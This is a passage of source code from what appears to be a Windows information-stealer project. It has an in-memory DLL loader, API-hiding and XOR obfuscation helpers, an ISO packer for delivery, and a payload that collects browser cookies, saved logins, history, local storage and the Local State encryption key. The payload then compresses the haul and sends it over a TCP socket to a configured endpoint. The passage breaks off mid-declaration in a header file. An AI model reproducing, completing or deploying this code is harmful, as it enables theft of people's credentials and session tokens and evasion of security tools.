foundName; 945 | PIMAGE_RESOURCE_DIRECTORY_ENTRY foundLanguage; 946 | if (directory->Size == 0) { 947 | SetLastError(ERROR_RESOURCE_DATA_NOT_FOUND); 948 | return NULL; 949 | } 950 | 951 | if (language == DEFAULT_LANGUAGE) { 952 | language = LANGIDFROMLCID(GetThreadLocale()); 953 | } 954 | 955 | rootResources = 956 | (PIMAGE_RESOURCE_DIRECTORY)(codeBase + directory->VirtualAddress); 957 | foundType = _MemorySearchResourceEntry(rootResources, rootResources, type); 958 | if (foundType == NULL) { 959 | SetLastError(ERROR_RESOURCE_TYPE_NOT_FOUND); 960 | return NULL; 961 | } 962 | 963 | typeResources = 964 | (PIMAGE_RESOURCE_DIRECTORY)(codeBase + directory->VirtualAddress + 965 | (foundType->OffsetToData & 0x7fffffff)); 966 | foundName = _MemorySearchResourceEntry(rootResources, typeResources, name); 967 | if (foundName == NULL) { 968 | SetLastError(ERROR_RESOURCE_NAME_NOT_FOUND); 969 | return NULL; 970 | } 971 | 972 | nameResources = 973 | (PIMAGE_RESOURCE_DIRECTORY)(codeBase + directory->VirtualAddress + 974 | (foundName->OffsetToData & 0x7fffffff)); 975 | foundLanguage = _MemorySearchResourceEntry(rootResources, nameResources, 976 | (LPCTSTR)(uintptr_t)language); 977 | if (foundLanguage == NULL) { 978 | if (nameResources->NumberOfIdEntries == 0) { 979 | SetLastError(ERROR_RESOURCE_LANG_NOT_FOUND); 980 | return NULL; 981 | } 982 | 983 | foundLanguage = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)(nameResources + 1); 984 | } 985 | 986 | return (codeBase + directory->VirtualAddress + 987 | (foundLanguage->OffsetToData & 0x7fffffff)); 988 | } 989 | 990 | DWORD MemorySizeofResource(HMEMORYMODULE module, HMEMORYRSRC resource) { 991 | PIMAGE_RESOURCE_DATA_ENTRY entry; 992 | UNREFERENCED_PARAMETER(module); 993 | entry = (PIMAGE_RESOURCE_DATA_ENTRY)resource; 994 | if (entry == NULL) { 995 | return 0; 996 | } 997 | 998 | return entry->Size; 999 | } 1000 | 1001 | LPVOID MemoryLoadResource(HMEMORYMODULE module, HMEMORYRSRC resource) { 1002 | unsigned char *codeBase = ((PMEMORYMODULE)module)->codeBase; 1003 | PIMAGE_RESOURCE_DATA_ENTRY entry = (PIMAGE_RESOURCE_DATA_ENTRY)resource; 1004 | if (entry == NULL) { 1005 | return NULL; 1006 | } 1007 | 1008 | return codeBase + entry->OffsetToData; 1009 | } 1010 | 1011 | int MemoryLoadString(HMEMORYMODULE module, UINT id, LPTSTR buffer, 1012 | int maxsize) { 1013 | return MemoryLoadStringEx(module, id, buffer, maxsize, DEFAULT_LANGUAGE); 1014 | } 1015 | 1016 | int MemoryLoadStringEx(HMEMORYMODULE module, UINT id, LPTSTR buffer, 1017 | int maxsize, WORD language) { 1018 | HMEMORYRSRC resource; 1019 | PIMAGE_RESOURCE_DIR_STRING_U data; 1020 | DWORD size; 1021 | if (maxsize == 0) { 1022 | return 0; 1023 | } 1024 | 1025 | resource = MemoryFindResourceEx(module, MAKEINTRESOURCE((id >> 4) + 1), 1026 | RT_STRING, language); 1027 | if (resource == NULL) { 1028 | buffer[0] = 0; 1029 | return 0; 1030 | } 1031 | 1032 | data = (PIMAGE_RESOURCE_DIR_STRING_U)MemoryLoadResource(module, resource); 1033 | id = id & 0x0f; 1034 | while (id--) { 1035 | data = (PIMAGE_RESOURCE_DIR_STRING_U)OffsetPointer( 1036 | data, (data->Length + 1) * sizeof(WCHAR)); 1037 | } 1038 | if (data->Length == 0) { 1039 | SetLastError(ERROR_RESOURCE_NAME_NOT_FOUND); 1040 | buffer[0] = 0; 1041 | return 0; 1042 | } 1043 | 1044 | size = data->Length; 1045 | if (size >= (DWORD)maxsize) { 1046 | size = maxsize; 1047 | } else { 1048 | buffer[size] = 0; 1049 | } 1050 | #if defined(UNICODE) 1051 | wcsncpy(buffer, data->NameString, size); 1052 | #else 1053 | wcstombs(buffer, data->NameString, size); 1054 | #endif 1055 | return size; 1056 | } 1057 | -------------------------------------------------------------------------------- /loader/mem/memod.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #define _CRT_SECURE_NO_WARNINGS 4 | 5 | #include 6 | 7 | typedef LPVOID HMEMORYMODULE; 8 | typedef LPVOID HMEMORYRSRC; 9 | typedef LPVOID HCUSTOMMODULE; 10 | 11 | 12 | typedef LPVOID (*CustomAllocFunc)(LPVOID, SIZE_T, DWORD, DWORD, void*); 13 | typedef BOOL (*CustomFreeFunc)(LPVOID, SIZE_T, DWORD, void*); 14 | typedef HCUSTOMMODULE (*CustomLoadLibraryFunc)(LPCSTR, void*); 15 | typedef FARPROC (*CustomGetProcAddressFunc)(HCUSTOMMODULE, LPCSTR, void*); 16 | typedef void (*CustomFreeLibraryFunc)(HCUSTOMMODULE, void*); 17 | 18 | HMEMORYMODULE MemoryLoadLibrary(const void*, size_t); 19 | HMEMORYMODULE MemoryLoadLibraryEx(const void*, size_t, CustomAllocFunc, 20 | CustomFreeFunc, CustomLoadLibraryFunc, 21 | CustomGetProcAddressFunc, 22 | CustomFreeLibraryFunc, void*); 23 | 24 | HMEMORYRSRC MemoryFindResource(HMEMORYMODULE, LPCTSTR, LPCTSTR); 25 | HMEMORYRSRC MemoryFindResourceEx(HMEMORYMODULE, LPCTSTR, LPCTSTR, WORD); 26 | 27 | FARPROC MemoryGetProcAddress(HMEMORYMODULE, LPCSTR); 28 | DWORD MemorySizeofResource(HMEMORYMODULE, HMEMORYRSRC); 29 | LPVOID MemoryLoadResource(HMEMORYMODULE, HMEMORYRSRC); 30 | 31 | void MemoryFreeLibrary(HMEMORYMODULE); 32 | 33 | int MemoryCallEntryPoint(HMEMORYMODULE); 34 | int MemoryLoadString(HMEMORYMODULE, UINT, LPTSTR, int); 35 | int MemoryLoadStringEx(HMEMORYMODULE, UINT, LPTSTR, int, WORD); 36 | 37 | -------------------------------------------------------------------------------- /loader/utils.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | 5 | 6 | typedef LPVOID HINTERNET; 7 | #define INTERNET_OPEN_TYPE_DIRECT 1 8 | #define INTERNET_FLAG_RELOAD 0x80000000 9 | 10 | static void DecodeXor(char* in, size_t len, char key) { 11 | 12 | for (size_t i = 0; i < len; i++) 13 | { 14 | in[i] ^= key; 15 | } 16 | } 17 | 18 | #if 1 19 | #define HLoadLibrary LoadLibraryA 20 | #else 21 | static const char* str_kernel32 = 22 | DecodeXor({0x2a, 0x24, 0x33, 0x2f, 0x24, 0x2d, 0x72, 0x73, 0x6f, 0x25, 0x2d, 23 | 0x2d, 0x00}, 24 | 'A') 25 | .data(); 26 | static const char* str_loadlibrary = 27 | DecodeXor({0x0d, 0x2e, 0x20, 0x25, 0x0d, 0x28, 0x23, 0x33, 0x20, 0x33, 0x38, 28 | 0x00}, 29 | 'A') 30 | .data(); 31 | 32 | static HMODULE HideLoadLibrary(LPCSTR lpModuleName) { 33 | HMODULE hModule = GetModuleHandleA(str_kernel32); 34 | return ((HMODULE(*)(LPCSTR))GetProcAddress(hModule, str_loadlibrary))( 35 | lpModuleName); 36 | } 37 | #define HLoadLibrary HideLoadLibrary 38 | #endif 39 | 40 | #define HIDE_FUNCTION(modName, funcName, funcRet, funcSignV, funcSign, \ 41 | funcParam, funcErr) \ 42 | static funcRet hide_##funcName funcSignV { \ 43 | HMODULE hModule = GetModuleHandleA(modName); \ 44 | if (hModule == NULL) hModule = HLoadLibrary(modName); \ 45 | if (hModule == NULL) return funcErr; \ 46 | return ((funcRet(*) funcSign)GetProcAddress(hModule, #funcName))funcParam; \ 47 | } 48 | 49 | HIDE_FUNCTION("kernel32.dll", VirtualProtect, BOOL, 50 | (LPVOID l, SIZE_T s, DWORD d, PDWORD pd), 51 | (LPVOID, SIZE_T, DWORD, PDWORD), (l, s, d, pd), FALSE) 52 | HIDE_FUNCTION("kernel32.dll", VirtualAlloc, LPVOID, 53 | (LPVOID l, SIZE_T s, DWORD d0, DWORD d1), 54 | (LPVOID, SIZE_T, DWORD, DWORD), (l, s, d0, d1), NULL); 55 | HIDE_FUNCTION("kernel32.dll", VirtualFree, BOOL, (LPVOID l, SIZE_T s, DWORD d), 56 | (LPVOID, SIZE_T, DWORD), (l, s, d), FALSE); 57 | 58 | HIDE_FUNCTION("wininet.dll", InternetOpenA, HINTERNET, 59 | (LPCSTR l0, DWORD d0, LPCSTR l1, LPCSTR l2, DWORD d1), 60 | (LPCSTR, DWORD, LPCSTR, LPCSTR, DWORD), (l0, d0, l1, l2, d1), 61 | NULL); 62 | HIDE_FUNCTION("wininet.dll", InternetCloseHandle, BOOL, (HINTERNET h), 63 | (HINTERNET), (h), FALSE); 64 | HIDE_FUNCTION("wininet.dll", InternetReadFile, BOOL, 65 | (HINTERNET h, LPVOID l, DWORD d0, LPDWORD d1), 66 | (HINTERNET, LPVOID, DWORD, LPDWORD), (h, l, d0, d1), FALSE); 67 | HIDE_FUNCTION("wininet.dll", InternetOpenUrlA, HINTERNET, 68 | (HINTERNET h, LPCSTR l0, LPCSTR l1, DWORD d0, DWORD d1, 69 | DWORD_PTR dp), 70 | (HINTERNET, LPCSTR, LPCSTR, DWORD, DWORD, DWORD_PTR), 71 | (h, l0, l1, d0, d1, dp), NULL); 72 | -------------------------------------------------------------------------------- /packer.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import pycdlib 4 | 5 | 6 | 7 | def main(args: list[str]) -> int: 8 | if len(args) < 1: 9 | print(args) 10 | return 1 11 | 12 | inpath = args[0] 13 | filename = os.path.basename(inpath) 14 | 15 | if not os.path.exists(inpath): 16 | print("no found") 17 | return 1 18 | 19 | outpath = os.path.dirname(inpath) + "\\pADR.iso" 20 | print(f"{inpath} => {outpath}") 21 | 22 | iso = pycdlib.PyCdlib() 23 | iso.new(joliet=3) 24 | 25 | try: 26 | iso.add_file(inpath, joliet_path=f'/{filename};1') 27 | iso.write(outpath) 28 | except Exception as e: 29 | print(e) 30 | return 1 31 | iso.close() 32 | return 0 33 | 34 | if __name__ == "__main__": 35 | sys.exit(main(sys.argv[1:])) -------------------------------------------------------------------------------- /payload/b64/b64.c: -------------------------------------------------------------------------------- 1 | #include "b64.h" 2 | 3 | char* Base64Encode(const char* data, size_t input_length) { 4 | size_t output_length = 4 * ((input_length + 2) / 3); 5 | char* encoded_data = (char*)malloc(output_length + 1); 6 | if (!encoded_data) return NULL; 7 | 8 | size_t i, j; 9 | for (i = 0, j = 0; i < input_length;) { 10 | unsigned __int32 octet_a = i < input_length ? data[i++] : 0; 11 | unsigned __int32 octet_b = i < input_length ? data[i++] : 0; 12 | unsigned __int32 octet_c = i < input_length ? data[i++] : 0; 13 | 14 | unsigned __int32 triple = (octet_a << 16) | (octet_b << 8) | octet_c; 15 | 16 | encoded_data[j++] = base64_chars[(triple >> 18) & 0x3F]; 17 | encoded_data[j++] = base64_chars[(triple >> 12) & 0x3F]; 18 | encoded_data[j++] = base64_chars[(triple >> 6) & 0x3F]; 19 | encoded_data[j++] = base64_chars[triple & 0x3F]; 20 | } 21 | 22 | while (j > output_length) { 23 | encoded_data[--j] = '='; 24 | } 25 | 26 | encoded_data[output_length] = '\0'; 27 | return encoded_data; 28 | } 29 | 30 | char* Base64Decode(const char* data, size_t input_length, size_t* output_length) { 31 | if (input_length % 4 != 0) return NULL; 32 | 33 | *output_length = (input_length / 4) * 3; 34 | if (data[input_length - 1] == '=') (*output_length)--; 35 | if (data[input_length - 2] == '=') (*output_length)--; 36 | 37 | char* decoded_data = (char*)malloc(*output_length); 38 | if (!decoded_data) return NULL; 39 | 40 | size_t i, j; 41 | for (i = 0, j = 0; i < input_length;) { 42 | unsigned __int32 sextet_a = data[i] == '=' ? 0 & i++ : base64_chars[(size_t)data[i++]]; 43 | unsigned __int32 sextet_b = data[i] == '=' ? 0 & i++ : base64_chars[(size_t)data[i++]]; 44 | unsigned __int32 sextet_c = data[i] == '=' ? 0 & i++ : base64_chars[(size_t)data[i++]]; 45 | unsigned __int32 sextet_d = data[i] == '=' ? 0 & i++ : base64_chars[(size_t)data[i++]]; 46 | 47 | unsigned __int32 triple = (sextet_a << 18) | (sextet_b << 12) | (sextet_c << 6) | sextet_d; 48 | 49 | if (j < *output_length) decoded_data[j++] = (triple >> 16) & 0xFF; 50 | if (j < *output_length) decoded_data[j++] = (triple >> 8) & 0xFF; 51 | if (j < *output_length) decoded_data[j++] = triple & 0xFF; 52 | } 53 | 54 | return decoded_data; 55 | } -------------------------------------------------------------------------------- /payload/b64/b64.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "../stdafx.h" 3 | 4 | static const char base64_chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; 5 | 6 | char* Base64Encode(const char* data, size_t input_length); 7 | char* Base64Decode(const char* data, size_t input_length, size_t* output_length); -------------------------------------------------------------------------------- /payload/ffs/linear.c: -------------------------------------------------------------------------------- 1 | #include "linear.h" 2 | 3 | FFSearch* FFCreateResult() 4 | { 5 | FFSearch* ffs = malloc(sizeof(FFSearch)); 6 | NULL_RET(ffs, NULL); 7 | 8 | ffs->elements = NULL; 9 | ffs->len = 0; 10 | return ffs; 11 | } 12 | 13 | void FFSearchLinearDir(const char* path, const char* search, FFSearch* out) 14 | { 15 | char* search_path = (char*)malloc(strlen(path) + 3); 16 | NULL_RET(search_path, ); 17 | 18 | strcpy(search_path, path); 19 | strcat(search_path, "\\*"); 20 | 21 | 22 | WIN32_FIND_DATAA findData; 23 | HANDLE findHandle = FindFirstFileA(search_path, &findData); 24 | if (findHandle == INVALID_HANDLE_VALUE) 25 | { 26 | free(search_path); 27 | return; 28 | } 29 | 30 | do { 31 | if (!IsValidDirectory(findData)) continue; 32 | 33 | char* dirpath = malloc(MAX_PATH); 34 | if (dirpath == NULL) continue; 35 | 36 | if (!PathCombineA(dirpath, path, findData.cFileName)) 37 | { 38 | free(dirpath); 39 | continue; 40 | } 41 | 42 | if (!strcmp(findData.cFileName, search)) 43 | { 44 | 45 | out->elements = (char**)realloc(out->elements, (out->len + 1) * sizeof(char*)); 46 | if (out->elements == NULL) 47 | { 48 | free(dirpath); 49 | break; 50 | } 51 | out->elements[out->len] = dirpath; 52 | out->len++; 53 | } 54 | else 55 | { 56 | FFSearchLinearDir(dirpath, search, out); 57 | free(dirpath); 58 | } 59 | 60 | } while (FindNextFileA(findHandle, &findData)); 61 | 62 | free(search_path); 63 | FindClose(findHandle); 64 | } 65 | 66 | void FFDestroyResult(FFSearch* ffs) 67 | { 68 | for (size_t i = 0; i < ffs->len; i++) 69 | { 70 | free(ffs->elements[i]); 71 | } 72 | 73 | free(ffs->elements); 74 | free(ffs); 75 | } 76 | 77 | -------------------------------------------------------------------------------- /payload/ffs/linear.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "../stdafx.h" 3 | #include "../utils.h" 4 | 5 | typedef struct FFSearch 6 | { 7 | char** elements; 8 | size_t len; 9 | } FFSearch; 10 | 11 | 12 | FFSearch* FFCreateResult(); 13 | void FFSearchLinearDir(const char* path, const char* search, FFSearch* out); 14 | void FFDestroyResult(FFSearch*); -------------------------------------------------------------------------------- /payload/main.c: -------------------------------------------------------------------------------- 1 | #include "stdafx.h" 2 | #include "utils.h" 3 | 4 | #include "ffs/linear.h" 5 | #include "b64/b64.h" 6 | #include "pack/pack.h" 7 | 8 | 9 | #ifdef _DEBUG_EXE 10 | #define DLL_EXPORT 11 | #else 12 | #define DLL_EXPORT __declspec(dllexport) 13 | #endif 14 | 15 | #define ENDPOINT_HOST "127.0.0.1" 16 | #define ENDPOINT_PORT 12345 17 | 18 | #define TARGET_NAMES_COUNT 6 19 | #define TARGET_EXT_COUNT 2 20 | 21 | 22 | DLL_EXPORT int CALLBACK main() 23 | { 24 | char* target = GetWinFolderById(&FOLDERID_LocalAppData); 25 | NULL_RET(target, EXIT_FAILURE); 26 | 27 | PathRemoveFileSpecA(target); 28 | 29 | 30 | FFSearch* results = FFCreateResult(); 31 | NULL_RET(results, EXIT_FAILURE); 32 | 33 | FFSearchLinearDir(target, "blob_storage", results, results); 34 | free(target); 35 | 36 | Pack* pack = PackCreate(); 37 | if (!pack) 38 | { 39 | FFDestroyResult(results); 40 | return EXIT_FAILURE; 41 | } 42 | 43 | 44 | const char* tnames[TARGET_NAMES_COUNT] = { 45 | "Network\\Cookies", 46 | "History", 47 | "Web Data", 48 | "Login Data", 49 | "Local State", 50 | "..\\Local State" 51 | }; 52 | 53 | const char* textensions[TARGET_EXT_COUNT] = { 54 | ".ldb", 55 | ".log" 56 | }; 57 | 58 | for (size_t i = 0; i < results->len; i++) 59 | { 60 | char* base = results->elements[i]; 61 | PathRemoveFileSpecA(base); 62 | 63 | PackTargetFiles(pack, base, tnames, TARGET_NAMES_COUNT); 64 | 65 | char leveldb[MAX_PATH]; 66 | if (PathCombineA(leveldb, base, "Local Storage\\leveldb\\")) 67 | { 68 | if (!PathIsDirectoryEmptyA(leveldb)) 69 | { 70 | PackDirectoryFiles(pack, leveldb, textensions, TARGET_EXT_COUNT); 71 | } 72 | } 73 | 74 | char localstate[MAX_PATH]; 75 | if (PathCombineA(localstate, base, "Local State")) 76 | { 77 | if (PathFileExistsA(localstate)) 78 | { 79 | char* raw_key = GetEncryptionKeyString(localstate); 80 | char* master_key = ExtractEncyrptionKey(raw_key); 81 | 82 | if (master_key) 83 | { 84 | char localstate_key[MAX_PATH]; 85 | PathCombineA(localstate_key, base, "Key"); 86 | PackWriteBuffer(pack, localstate_key, master_key, strlen(master_key) + 1); 87 | } 88 | 89 | SAFE_FREE(master_key); 90 | SAFE_FREE(raw_key); 91 | } 92 | } 93 | } 94 | 95 | FFDestroyResult(results); 96 | 97 | PackCompress(&pack); 98 | 99 | PackSend(pack, ENDPOINT_HOST, ENDPOINT_PORT); 100 | 101 | PackDestroy(pack); 102 | 103 | return EXIT_SUCCESS; 104 | } 105 | 106 | 107 | #ifdef _DEBUG_EXE 108 | int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ char* pCmdLine, _In_ int nCmdShow) 109 | { 110 | _CrtSetDbgFlag(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_LEAK_CHECK_DF); 111 | 112 | if (AllocConsole()) 113 | { 114 | FILE* fDummy; 115 | 116 | freopen_s(&fDummy, "CONOUT$", "w", stdout); 117 | freopen_s(&fDummy, "CONOUT$", "w", stderr); 118 | freopen_s(&fDummy, "CONIN$", "r", stdin); 119 | 120 | clearerr(stdout); 121 | clearerr(stderr); 122 | clearerr(stdin); 123 | } 124 | 125 | main(); 126 | 127 | _CrtDumpMemoryLeaks(); 128 | return EXIT_SUCCESS; 129 | } 130 | #else 131 | BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) 132 | { 133 | return TRUE; 134 | } 135 | #endif // _DEBUG_EXE -------------------------------------------------------------------------------- /payload/pack/pack.c: -------------------------------------------------------------------------------- 1 | #include "pack.h" 2 | 3 | Pack* PackCreate() 4 | { 5 | Pack* pack = malloc(sizeof(Pack)); 6 | NULL_RET(pack, NULL); 7 | 8 | pack->file = INVALID_HANDLE_VALUE; 9 | pack->path = malloc(MAX_PATH); 10 | NULL_RET(pack->path, NULL); 11 | 12 | char tempPath[MAX_PATH]; 13 | if (GetTempPathA(MAX_PATH, tempPath) == 0) return NULL; 14 | if (GetTempFileNameA(tempPath, "pack", 0, pack->path) == 0) return NULL; 15 | 16 | pack->file = CreateFileA(pack->path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); \ 17 | PACK_HANDLE_RESET(pack); 18 | 19 | return pack; 20 | } 21 | 22 | bool PackCompress(Pack** in) 23 | { 24 | PACK_HANDLE_RESET((*in)); 25 | PACK_HANDLE_CHECK((*in), GENERIC_READ, FILE_SHARE_READ, false); 26 | 27 | LARGE_INTEGER file_size; 28 | if (!GetFileSizeEx((*in)->file, &file_size)) 29 | { 30 | PACK_HANDLE_RESET((*in)); 31 | return false; 32 | } 33 | 34 | size_t in_size = file_size.QuadPart; 35 | BYTE* in_buffer = malloc(in_size); 36 | if (!in_buffer) 37 | { 38 | PACK_HANDLE_RESET((*in)); 39 | return false; 40 | } 41 | 42 | DWORD bytes_read = 0; 43 | if (!ReadFile((*in)->file, in_buffer, in_size, &bytes_read, NULL)) 44 | { 45 | free(in_buffer); 46 | PACK_HANDLE_RESET((*in)); 47 | return false; 48 | } 49 | 50 | if (bytes_read != in_size) 51 | { 52 | free(in_buffer); 53 | PACK_HANDLE_RESET((*in)); 54 | return false; 55 | } 56 | 57 | COMPRESSOR_HANDLE hCompressor = NULL; 58 | if (!CreateCompressor(COMPRESS_ALGORITHM_XPRESS_HUFF, NULL, &hCompressor)) 59 | { 60 | free(in_buffer); 61 | PACK_HANDLE_RESET((*in)); 62 | return false; 63 | } 64 | 65 | 66 | size_t new_out_size = 0; 67 | size_t out_size = file_size.QuadPart; 68 | BYTE* out_buffer = malloc(out_size); 69 | 70 | if (!out_buffer) 71 | { 72 | free(in_buffer); 73 | CloseCompressor(hCompressor); 74 | PACK_HANDLE_RESET((*in)); 75 | return false; 76 | } 77 | 78 | if (!Compress(hCompressor, in_buffer, file_size.QuadPart, out_buffer, out_size, &new_out_size)) 79 | { 80 | free(out_buffer); 81 | free(in_buffer); 82 | CloseCompressor(hCompressor); 83 | PACK_HANDLE_RESET((*in)); 84 | return false; 85 | } 86 | 87 | out_buffer = realloc(out_buffer, new_out_size); 88 | free(in_buffer); 89 | CloseCompressor(hCompressor); 90 | 91 | Pack* out = PackCreate(); 92 | if (!out) 93 | { 94 | free(out_buffer); 95 | PACK_HANDLE_RESET((*in)); 96 | return false; 97 | } 98 | 99 | out->file = CreateFileA(out->path, GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 100 | if (out->file == INVALID_HANDLE_VALUE) 101 | { 102 | free(out_buffer); 103 | PACK_HANDLE_RESET((*in)); 104 | return false; 105 | } 106 | 107 | DWORD bytes_written = 0; 108 | if (!WriteFile(out->file, out_buffer, new_out_size, &bytes_written, NULL)) 109 | { 110 | free(out_buffer); 111 | PackDestroy(out); 112 | PACK_HANDLE_RESET((*in)); 113 | return false; 114 | } 115 | 116 | if (bytes_written != new_out_size) 117 | { 118 | free(out_buffer); 119 | PackDestroy(out); 120 | PACK_HANDLE_RESET((*in)); 121 | return false; 122 | } 123 | 124 | free(out_buffer); 125 | PackDestroy((*in)); 126 | 127 | *in = out; 128 | PACK_HANDLE_RESET((*in)); 129 | 130 | return true; 131 | } 132 | 133 | bool PackWriteFile(Pack* pack, const char* path) 134 | { 135 | PACK_HANDLE_RESET(pack); 136 | PACK_HANDLE_CHECK(pack, FILE_APPEND_DATA, 0, false); 137 | 138 | if (IsFileBusy(path)) 139 | { 140 | if (!TerminateBusyFileProc(path)) 141 | { 142 | PACK_HANDLE_RESET(pack); 143 | return false; 144 | } 145 | } 146 | 147 | HANDLE hFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 148 | if (hFile == INVALID_HANDLE_VALUE) 149 | { 150 | PACK_HANDLE_RESET(pack); 151 | return false; 152 | } 153 | 154 | if (!WriteFile(pack->file, path, strlen(path) + 1, NULL, NULL)) 155 | { 156 | CloseHandle(hFile); 157 | PACK_HANDLE_RESET(pack); 158 | return false; 159 | } 160 | 161 | LARGE_INTEGER lgint; 162 | if (!GetFileSizeEx(hFile, &lgint)) 163 | { 164 | CloseHandle(hFile); 165 | PACK_HANDLE_RESET(pack); 166 | return false; 167 | } 168 | 169 | size_t file_size = lgint.QuadPart; 170 | if (!WriteFile(pack->file, &file_size, sizeof(size_t), NULL, NULL)) 171 | { 172 | CloseHandle(hFile); 173 | PACK_HANDLE_RESET(pack); 174 | return false; 175 | } 176 | 177 | BYTE buffer[BUFFER_SIZE]; 178 | DWORD bytes_read = 0; 179 | 180 | while (ReadFile(hFile, buffer, sizeof(buffer), &bytes_read, NULL) && bytes_read > 0) 181 | { 182 | DWORD bytes_written = 0; 183 | if (!WriteFile(pack->file, buffer, bytes_read, &bytes_written, NULL) || bytes_written != bytes_read) 184 | { 185 | CloseHandle(hFile); 186 | PACK_HANDLE_RESET(pack); 187 | return false; 188 | } 189 | } 190 | 191 | CloseHandle(hFile); 192 | PACK_HANDLE_RESET(pack); 193 | return true; 194 | } 195 | 196 | bool PackWriteBuffer(Pack* pack, const char* name, const char* buffer, size_t len) 197 | { 198 | PACK_HANDLE_RESET(pack); 199 | PACK_HANDLE_CHECK(pack, FILE_APPEND_DATA, 0, false); 200 | 201 | DWORD out_size = (DWORD)strlen(name) + 1; 202 | if (!WriteFile(pack->file, name, out_size, NULL, NULL)) 203 | { 204 | PACK_HANDLE_RESET(pack); 205 | return false; 206 | } 207 | 208 | if (!WriteFile(pack->file, &len, sizeof(LONGLONG), NULL, NULL)) 209 | { 210 | PACK_HANDLE_RESET(pack); 211 | return false; 212 | } 213 | 214 | 215 | DWORD bytes_written; 216 | if (!WriteFile(pack->file, buffer, len, &bytes_written, NULL) || bytes_written != len) 217 | { 218 | PACK_HANDLE_RESET(pack); 219 | return false; 220 | } 221 | 222 | PACK_HANDLE_RESET(pack); 223 | return true; 224 | } 225 | 226 | void PackDestroy(Pack* pack) 227 | { 228 | NULL_RET(pack, ); 229 | 230 | PACK_HANDLE_RESET(pack); 231 | 232 | if (PathFileExistsA(pack->path)) 233 | { 234 | DeleteFileA(pack->path); 235 | free(pack->path); 236 | } 237 | free(pack); 238 | } 239 | 240 | bool PackSend(Pack* pack, const char* host, unsigned short port) 241 | { 242 | PACK_HANDLE_RESET(pack); 243 | PACK_HANDLE_CHECK(pack, GENERIC_READ, FILE_SHARE_READ, false); 244 | 245 | WSADATA wsaData; 246 | if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) 247 | { 248 | PACK_HANDLE_RESET(pack); 249 | return false; 250 | } 251 | 252 | SOCKET client = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 253 | if (client == INVALID_SOCKET) 254 | { 255 | WSACleanup(); 256 | PACK_HANDLE_RESET(pack); 257 | return false; 258 | } 259 | 260 | struct sockaddr_in client_addr; 261 | ZeroMemory(&client_addr, sizeof(client_addr)); 262 | client_addr.sin_family = AF_INET; 263 | client_addr.sin_port = htons(port); 264 | inet_pton(AF_INET, host, &client_addr.sin_addr); 265 | 266 | if (connect(client, (struct sockaddr*)&client_addr, sizeof(client_addr)) == SOCKET_ERROR) 267 | { 268 | closesocket(client); 269 | WSACleanup(); 270 | PACK_HANDLE_RESET(pack); 271 | return false; 272 | } 273 | 274 | char buffer[BUFFER_SIZE]; 275 | DWORD bytesRead; 276 | while (ReadFile(pack->file, buffer, sizeof(buffer), &bytesRead, NULL) && bytesRead > 0) 277 | { 278 | if (send(client, buffer, bytesRead, 0) == SOCKET_ERROR) 279 | { 280 | closesocket(client); 281 | WSACleanup(); 282 | PACK_HANDLE_RESET(pack); 283 | return false; 284 | } 285 | } 286 | 287 | closesocket(client); 288 | WSACleanup(); 289 | PACK_HANDLE_RESET(pack); 290 | return true; 291 | } 292 | 293 | void PackTargetFiles(Pack* pack, char* base, char** targets, size_t len) 294 | { 295 | for (size_t k = 0; k < len; k++) 296 | { 297 | char inpath[MAX_PATH]; 298 | if (!PathCombineA(inpath, base, targets[k])) continue; 299 | if (!PathFileExistsA(inpath)) continue; 300 | 301 | PackWriteFile(pack, inpath); 302 | } 303 | } 304 | 305 | void PackDirectoryFiles(Pack* pack, char* dirpath, char** extensions, size_t len) 306 | { 307 | char* search_path = (char*)malloc(strlen(dirpath) + 3); 308 | NULL_RET(search_path, ); 309 | 310 | strcpy(search_path, dirpath); 311 | strcat(search_path, "\\*"); 312 | 313 | WIN32_FIND_DATAA findData; 314 | HANDLE hFind = FindFirstFileA(search_path, &findData); 315 | 316 | if (hFind == INVALID_HANDLE_VALUE) 317 | { 318 | free(search_path); 319 | return; 320 | } 321 | 322 | do 323 | { 324 | if (!(findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) 325 | { 326 | char* ext = PathFindExtensionA(findData.cFileName); 327 | for (size_t i = 0; i < len; i++) 328 | { 329 | if (strcmp(ext, extensions[i]) == 0) 330 | { 331 | char file_path[MAX_PATH]; 332 | PathCombineA(file_path, dirpath, findData.cFileName); 333 | PackWriteFile(pack, file_path); 334 | break; 335 | } 336 | } 337 | } 338 | } while (FindNextFileA(hFind, &findData) != 0); 339 | 340 | free(search_path); 341 | FindClose(hFind); 342 | } 343 | -------------------------------------------------------------------------------- /payload/pack/pack.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "../stdafx.h" 3 | #include "../utils.h" 4 | 5 | typedef struct Pack { 6 | char* path; 7 | HANDLE file; 8 | }Pack; 9 | 10 | #define PACK_HANDLE_CHECK(pack, access, mode, ret)\ 11 | if (pack->file == INVALID_HANDLE_VALUE)\ 12 | {\ 13 | pack->file = CreateFileA(pack->path, access, mode, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);\ 14 | if (pack->file == INVALID_HANDLE_VALUE) return ret;\ 15 | } 16 | 17 | #define PACK_HANDLE_RESET(pack)\ 18 | if(pack->file != INVALID_HANDLE_VALUE)\ 19 | {\ 20 | CloseHandle(pack->file);\ 21 | pack->file = INVALID_HANDLE_VALUE;\ 22 | } 23 | 24 | 25 | 26 | Pack* PackCreate(); 27 | void PackDestroy(Pack* pack); 28 | 29 | bool PackCompress(Pack** in); 30 | bool 